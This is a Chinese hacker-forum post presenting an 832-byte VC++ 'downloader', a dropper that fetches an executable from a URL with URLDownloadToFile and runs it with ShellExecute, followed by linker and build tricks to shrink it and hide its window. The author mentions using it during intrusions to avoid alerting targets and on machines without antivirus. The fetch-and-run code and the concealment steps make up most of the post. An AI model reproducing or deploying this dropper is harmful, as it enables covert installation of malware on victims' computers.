VC编译 超级纳米型下载者 仅832字节 连1K都不到
[原创]VC编译 超级纳米型下载者 仅832字节 连1K都不到这是几年前写的了 纯属挑战极限 用VC写一个超小的下载者
当时我也录有教程发布 具体自己百度 挖以前的动画教程
如此小的下载者杀软一扫就直接扫到特征了 想用于过杀软就别想了
要是用在没杀软上面 这几年前写的东西可能还有些用处
有人可能说 有啥用? 文件小 1k都不到 明显在传入电脑时 完全不会察觉到
特别是俄罗斯人家现在是按流量记费的 如果你在渗透时 传什么大文件 立马惊动目标
当然本文的重点 并不在这里 这也是几年前的东西 本文只是单纯的研究VC编译的极限
// Crack8 C 下载者 超级纳米型下载者 仅832字节 连1K都不到
// 2010-4-16
#include <UrlMon.h>
#include<Shellapi.h>
#pragma comment(lib, "Urlmon.lib")
Crack8main(){
URLDownloadToFile(0,"http://127.0.0.1/Crack8.exe","E:\\K8.exe",0,NULL);
ShellExecute(0,"open","E:\\K8.exe",NULL,NULL,SW_SHOW);
}
// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, "/merge:.data=.text") //合并节也能减少体积 可往 :2 那里 /merge:.data=.text
#pragma comment(linker, "/merge:.rdata=.text")
:2 工程 设置 连接 工程选项里的内容
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo
/entry:"Crack8main" /subsystem:windows /incremental:no /pdb:"Release/k8.pdb"
/machine:I386 /out:"Release/K8download.exe" /align:16
一,使用release版而不用debug版编译
使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译.
可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是:
在"build(编译)--->Configuration(配置)"中将"Win32 debug"移去,
然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.
还要点移除工程配置里的 "Win32 debug" 上面是别人发现的 这是Crack8发现的
二,设置自己的入口点函数
C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain.
因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点.
下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如Crack8main),
打开"Project(工程)--->settings(设置)"选项,选中"link"选项卡,在"Category(分类)"
下拉列表中选"output",在" Entry-Point symbol(输入项-点符号)"中输入我们刚才定义的
入口函数(Crack8main),在源程序中也要做相应修改,然后再编译.现在是16k了:)
大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.
回到VC++中,在"Project(工程)--->settings(设置)"选项,选中"link"选项卡,
在下面的"Project options(工程选项)"有/subsystem:console选项,表示程序是控制台程序,
双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦
但有进程 连接一下试试
3 编译老是出错 请点一下 执行 *.exe 或者CTRL+F5
4 如果提示没找到文件 请先结束K8。EXE进程
5 在工程 设置中 选C/C++ 优化 选大小最小 后K8下载者才832字节
让他再小N倍
通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.
在刚才打开的"link"选项卡,在下面的"Project options(工程选项)"中添加:/align:16(还可以将512设
置的更小如16,32.....) 这里只能是16以上的倍数